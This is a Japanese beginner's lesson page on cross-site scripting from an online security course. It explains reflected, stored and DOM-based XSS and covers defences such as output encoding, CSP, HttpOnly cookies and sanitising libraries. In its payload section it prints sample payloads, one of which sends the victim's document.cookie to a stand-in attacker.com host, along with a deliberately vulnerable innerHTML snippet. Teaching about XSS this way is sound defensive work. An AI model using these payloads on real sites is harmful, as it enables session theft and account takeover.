0Pricing
Cyber Security Academy · レッスン

クロスサイトスクリプティング(XSS)

実際のペイロードとCSPによる緩和策を使って、反射型、蓄積型、DOMベースのXSSを学びます。

「クロスサイトスクリプティング(XSS)」はCoddyKit上の無料Cyber Security Academyレッスンです。 これはレッスン2/4です。 下記で完全なレッスンを無料で読むことができます。その後、ブラウザ内の組み込みコードエディタと24時間対応のAIチューターでハンズオン演習できます。 これはCyber Security Academy学習パスの一部であり、ウェブとCoddyKitアプリ全体で進捗が同期されます。 Cyber Security Academyコースには全4レッスンが含まれています。

XSSとは何ですか

クロスサイトスクリプティング(XSS)は、攻撃者が悪意のあるJavaScriptを、他のユーザーが閲覧するWebページに注入すると発生します。ブラウザーは被害者のセッションのコンテキストでスクリプトを実行するため、Cookieの窃取、キーロギング、ページの改ざんなどが可能になります。

反射型XSS

反射型XSS(非永続型)では、悪意のあるスクリプトがリクエスト(例:URLパラメータ)に含まれ、レスポンスに反映されます。被害者は細工されたリンクをクリックする必要があります。例:https://site.com/search?q=<script>alert(1)</script>

蓄積型XSS

蓄積型XSS(永続型)では、悪意のあるスクリプトがデータベース(例:コメント、プロフィール欄)に保存され、すべての訪問者に配信されます。反射型XSSより危険です。特別なリンクは必要なく、ページを表示するたびにスクリプトが実行されるためです。

DOMベースXSS

DOMベースXSSは、JavaScriptが攻撃者に制御されたデータ(URLハッシュ、クエリパラメータ)を読み取り、サニタイズせずにDOMへ書き込むと発生します。攻撃は完全にクライアント側で行われるため、サーバーがペイロードを受け取ることはありません。

// Vulnerable code:
document.getElementById("msg").innerHTML = location.hash.slice(1);
// Attack URL: https://site.com/page#<img src=x onerror=alert(1)>

XSSの影響

XSSによって攻撃者ができること:

  • セッションCookieを盗む(document.cookie)→ アカウント乗っ取り
  • キーストロークを記録する(入力中のパスワードを盗む)
  • フィッシングサイトへリダイレクトする
  • 被害者として操作を実行する(XSS経由のCSRF)
  • ページを改ざんする

XSSペイロード

単純なテスト用ペイロード:

<script>alert(document.cookie)</script>
<img src=x onerror="fetch('https://attacker.com/?c='+document.cookie)">
<svg onload=alert(1)>

出力エンコーディング

主な防御策:HTMLに挿入する前に、ユーザーが制御できるすべての出力をエンコードしてください。特殊文字をHTMLエンティティに変換します:< → &lt;、> → &gt;、" → &quot;。

コンテキストに応じたエンコーディングを使用してください:HTML、JS、URL、CSS。

Content Security Policy(CSP)

CSPは、実行を許可するスクリプトをブラウザーに伝えるレスポンスヘッダーです。厳格なCSPはインラインスクリプトをブロックし、スクリプトの提供元を制限します:

# Response header:
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com;
# Blocks all inline JS and scripts from unauthorized domains

HttpOnly Cookie

セッションCookieにHttpOnlyフラグを設定すると、JavaScriptがdocument.cookieを介してCookieを読み取れなくなります。XSSが発生しても、攻撃者はセッショントークンを盗めません。これは出力エンコーディングと並ぶ、最も重要な緩和策の層です。

サニタイズライブラリ

ユーザーによるHTML入力(例:リッチテキストエディター)を許可する必要がある場合は、自作せずにサニタイズライブラリを使用してください:

  • DOMPurify(JavaScript)
  • bleach(Python)
  • OWASP Java HTML Sanitizer

XSSのテスト

ブラウザーの開発者ツール、Burp Suite、自動スキャナーを使ってXSSをテストしてください。すべてのユーザー入力フィールド、URLパラメータ、HTTPヘッダー、およびDOMシンク関数を確認します:innerHTML、document.write、eval、文字列引数を指定したsetTimeout。

理解度チェック:XSS

悪意のあるペイロードをデータベースに保存し、対象ページを訪れたすべての訪問者に実行させるXSSの種類はどれですか?

レッスンのまとめ

XSSは、被害者が閲覧するページにJavaScriptを注入します。種類には、反射型(URLベース)、蓄積型(データベースに永続化)、DOMベース(クライアント側)があります。主な防御策は、出力エンコーディング、HttpOnly Cookie、Content Security Policyです。HTMLのサニタイズにはDOMPurifyを使用してください。サニタイズされていないユーザーデータをinnerHTMLやeval()に決して挿入しないでください。

よくある質問

「クロスサイトスクリプティング(XSS)」レッスンは無料ですか?

はい。「クロスサイトスクリプティング(XSS)」の完全なテキストはこのウェブで無料で読めます。インタラクティブに演習し(組み込みコードエディタと24時間対応のAIチューター)、Cyber Security Academyコースの残りをアンロックするには、CoddyKit PROにアップグレードしてください。 Cyber Security Academyコースには全4レッスンが含まれています。

「クロスサイトスクリプティング(XSS)」で何を学びますか?

実際のペイロードとCSPによる緩和策を使って、反射型、蓄積型、DOMベースのXSSを学びます。 ブラウザで直接実行するハンズオンコードでCyber Security Academyを演習し、24時間対応のAIチューターがレッスンを進める中での質問に答えます。

Cyber Security Academyを始めるのに経験は必要ですか?

事前経験は必要ありません。CoddyKitのCyber Security Academyは初級者から上級者向けに構成されているため、ここから始めるか最初から始めて、自分のペースで進むことができます。 これはレッスン2/4です。

「クロスサイトスクリプティング(XSS)」レッスンにはどのくらい時間がかかりますか?

ほとんどのCoddyKitレッスンは約5~10分かかります。各レッスンはコンパクトでインタラクティブなので、着実に進歩し、ウェブとアプリ全体で正確に前回の場所から再開できます。

このCyber Security Academyレッスンでコードを書いて実行できますか?

はい。すべてのCyber Security Academyレッスンに組み込みコードエディタが含まれているため、ブラウザでリアルコードを書いて実行し、即座のAIフィードバックを取得できます。ローカル設定は不要です。

このコースのすべてのレッスン

  1. SQLインジェクション:仕組みと発生理由
  2. クロスサイトスクリプティング(XSS)
  3. クロスサイトリクエストフォージェリ(CSRF)
  4. セキュリティ設定ミスと公開サービス
← Cyber Security Academyに戻る